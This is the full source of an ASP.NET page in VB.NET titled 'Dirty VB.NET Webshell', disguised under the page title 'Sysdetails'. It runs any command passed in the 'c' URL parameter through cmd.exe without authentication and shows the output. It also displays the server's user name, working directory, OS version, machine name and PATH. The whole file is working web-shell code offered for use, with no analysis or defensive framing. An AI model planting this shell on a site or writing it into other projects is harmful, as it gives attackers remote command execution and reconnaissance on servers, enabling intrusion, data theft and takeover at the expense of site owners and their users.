Dirty VB.NET Webshell

<%@ Page Language="VB" %>
<%

Dim cmd As String = ""
InputCmd.Text = cmd

If Request.QueryString IsNot Nothing And Request.QueryString("c") IsNot Nothing Then
    cmd = Request.QueryString("c").ToString()
    InputCmd.Text = cmd
    CommandOutput.Text = ""
    Dim r = Shell("cmd.exe /c " & cmd & " > .\cmdoutput.out")

    if (r = 5) then
        CommandOutput.Text = "There was a problem with the arguments provided..."
    Else if (r = 53) then
        CommandOutput.Text = "I couln't find the file you are requesting..."
    else if (r = 91) then
        CommandOutput.Text = "There is no path at all!"
    else
        Dim read As System.IO.StreamReader
        read = System.IO.File.OpenText(".\cmdoutput.out")
        Do Until read.EndOfStream
            CommandOutput.Text += read.ReadLine & vbCrLf
        Loop
        read.Close()
    End If

    If System.IO.File.Exists(".\cmdoutput.out") = True Then
        System.IO.File.Delete(".\cmdoutput.out")
    End If
End If

CurrentUserE.Text = System.Environment.UserName
CurrentUserM.Text = My.User.Name
CurrentDirectory.Text = System.Environment.CurrentDirectory
OSVersion.Text = System.Environment.OSVersion.ToString()
ComputerName.Text = System.Environment.MachineName
CmdPath.Text = System.Environment.GetEnvironmentVariable("PATH").ToString()

%>

<html>
<head>
<title>Sysdetails</title>
</head>
<body bgcolor="#000000" text="#729f81">

    <b>Current User: </b><asp:label id="CurrentUserE" runat="server" /><br/>
    <b>Current User: </b><asp:label id="CurrentUserM" runat="server" /><br/>
    <b>Current Directory: </b><asp:label id="CurrentDirectory" runat="server" /><br/>
    <b>Computer OS Version: </b><asp:label id="OSVersion" runat="server" /><br/>
    <b>Computer Name: </b><asp:label id="ComputerName" runat="server" /><br/>
    <b>CMD Path: </b><asp:label id="CmdPath" runat="server" /><br/>

    <hr/>
    <form id="formCommandOutput" runat="server">
        <div id="CommandOutput">
            <b>Result of <asp:label id="InputCmd" runat="server" />:</b><br/>
            <asp:TextBox id="CommandOutput" runat="server" TextMode="multiline" Columns="150" Rows="30"/>
        </div>
    </form>
</body>
</html>